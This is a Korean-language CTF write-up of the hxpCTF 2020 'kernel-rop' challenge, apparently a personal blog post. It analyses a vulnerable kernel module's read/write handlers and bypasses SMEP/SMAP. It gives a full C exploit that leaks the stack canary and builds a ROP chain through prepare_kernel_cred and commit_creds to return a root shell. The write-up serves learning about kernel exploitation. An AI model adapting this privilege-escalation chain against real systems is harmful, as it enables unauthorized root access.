1. Introduction
여러 보호 기법이 적용된 문제를 어떻게 풀 수 있는지 궁금했다. 그래서 찾아보다가 이 문제가 유명한 것 같아서 공부해보기로 했다.
파일은 아래 링크에서 다운받을 수 있다. 여기서 중요한 파일은 vmlinuz, run.sh, initramfs.cpio.gz 이다.
https://ctftime.org/task/14383
run.sh는 다음과 같으며, 보호 기법으로 smep, smap, kaslr, kpti가 설정되어 있는 것을 확인할 수 있다.
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 kaslr kpti=1 quiet panic=1"
vmlinux 파일이 주어지지 않을 땐 vmlinuz에서 추출해줘야 한다. extract.sh를 사용할 수 있다.
https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/extract-image.sh
$ ./extract-image.sh ./vmlinuz > vmlinux
initramfs에 분석해야 할 hackme.ko 파일이 있다.
2. Analysis
hackme_read 함수에서 copy_to_user 함수의 사이즈 값을 0x1000 이하에선 마음대로 설정할 수 있어서 leak을 수행할 수 있다.
ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
unsigned __int64 v4; // rdx
unsigned __int64 v5; // rbx
bool v6; // zf
ssize_t result; // rax
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
unsigned __int64 canary; // [rsp+80h] [rbp-20h]
_fentry__(f, data);
v5 = v4;
canary = __readgsqword(0x28u);
_memcpy(hackme_buf, tmp);
if ( v5 > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x1000LL, v5);
BUG();
}
_check_object_size(hackme_buf, v5, 1LL);
v6 = copy_to_user(data, hackme_buf, v5) == 0;
result = -14LL;
if ( v6 )
return v5;
return result;
}
hackme_write 함수는 copy_from_user 함수의 사이즈 값을 0x1000 이하에선 마음대로 설정할 수 있어서 bof가 발생한다.
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{
unsigned __int64 v4; // rdx
ssize_t v5; // rbx
int tmp[32]; // [rsp+0h] [rbp-A0h] BYREF
unsigned __int64 canary; // [rsp+80h] [rbp-20h]
_fentry__(f, data);
v5 = v4;
canary = __readgsqword(0x28u);
if ( v4 > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 0x1000LL, v4);
BUG();
}
_check_object_size(hackme_buf, v4, 0LL);
if ( copy_from_user(hackme_buf, data, v5) )
return 0xFFFFFFFFFFFFFFF2LL;
_memcpy(tmp, hackme_buf);
return v5;
}
3. Bypass SMAP & SMEP
먼저 smap와 smep 보호기법부터 우회에 도전한다. KPTI와 KASLR 우회는 다음 글에서 해보겠다. run.sh를 다음과 같이 수정한다. kaslr과 kpti를 비활성화시켰다.
#!/bin/sh
qemu-system-x86_64 \
-m 256M \
-cpu kvm64,+smap,+smep \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nokaslr nopti quiet panic=1" \
-s
smap와 smep 보호기법이 있기 때문에 유저 영역에 있는 코드를 실행하거나 접근할 수 없다. 따라서, 커널 바이너리인 vmlinux에 존재하는 가젯들을 활용해 ROP를 수행해야 한다. 이는 ret2usr를 커널 영역에 존재하는 가젯들로만 익스플로잇을 수행해야 한다는 것을 의미한다. 필요한 가젯들은 아래와 같으며 ROPgadget을 활용해서 찾아주면 되는데, iretq는 찾을 수 없어서 ida를 이용해서 찾아 줬다.
pop rdi
mov rdi, rax
swapgs
iretq | sysret
최종 페이로드는 다음과 같다. 먼저, hackme_read 함수를 활용해서 canary 릭을 수행한다. 이후 commit_creds, prepare_kernel_cred 함수를 사용해서 LPE를 수행한다. 마지막으로 유저 영역으로 복귀하기 위해 swapgs와 iretq를 사용한다. swapgs를 할 땐 특별히 설정해줄 부분은 없지만, iretq는 trap frame을 저장했다가 복원해줘야 한다. 이는 ret2usr에서도 했던 부분으로 그냥 커널 영역에 들어가기 전에 레지스터 값을 백업해놓으면 된다. iretq 이후 유저영역으로 돌아올 주소는 쉘을 생성해주는 shell 함수이며 보호 기법을 정상적으로 우회했다면 루트 권한의 쉘을 얻을 수 있다.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <stdint.h>
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t mov_rdi_rax_pop1 = 0xffffffff8100aedf;
uint64_t pop_rdi = 0xffffffff81006370;
uint64_t swapgs_pop1 = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff8100c0d9;
void shell(){
system("/bin/sh");
}
int main(void) {
uint64_t leak[0x18];
uint64_t pay[0x28];
uint64_t canary;
int fd = open("/dev/hackme", O_RDWR);
printf("fd: %d\n",fd);
read(fd,leak,sizeof(leak));
canary = leak[0x10];
printf("canary: %llx\n",canary);
for(int i=0; i<sizeof(pay)/8; i++){
pay[i] = 0x4141414141414141;
}
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax;");
uint64_t user_rip = (uint64_t) shell;
int idx = 0x10;
pay[idx++] = canary;
pay[idx++] = 0x0; // rbx
pay[idx++] = 0x0; // r12
pay[idx++] = 0x0; // rbp
pay[idx++] = pop_rdi; // ret
pay[idx++] = 0x0;
pay[idx++] = prepare_kernel_cred;
pay[idx++] = mov_rdi_rax_pop1;
pay[idx++] = 0x0;
pay[idx++] = commit_creds;
pay[idx++] = swapgs_pop1;
pay[idx++] = 0x0;
pay[idx++] = iretq;
pay[idx++] = user_rip;
pay[idx++] = user_cs;
pay[idx++] = user_rflags;
pay[idx++] = user_sp;
pay[idx++] = user_ss;
for(int i = 0; i<sizeof(pay)/8; i++){
printf("0x%016llx\n",pay[i]);
}
write(fd,pay,sizeof(pay));
return 0;
}
https://lkmidas.github.io/posts/20210123-linux-kernel-pwn-part-1/
https://lkmidas.github.io/posts/20210128-linux-kernel-pwn-part-2/
https://0x434b.dev/dabbling-with-linux-kernel-exploitation-ctf-challenges-to-learn-the-ropes/
'CTF' 카테고리의 다른 글
DownUnderCTF 2024 (Pwn) (0) | 2024.07.08 |
---|---|
[hxpCTF 2020] kernel-rop (with write-up) (2) (0) | 2024.06.30 |
BYUCTF 2024 (Pwn) (0) | 2024.05.19 |
TBTL CTF 2024 (Pwn) (0) | 2024.05.18 |
San Diego CTF 2024 (Pwn) (0) | 2024.05.15 |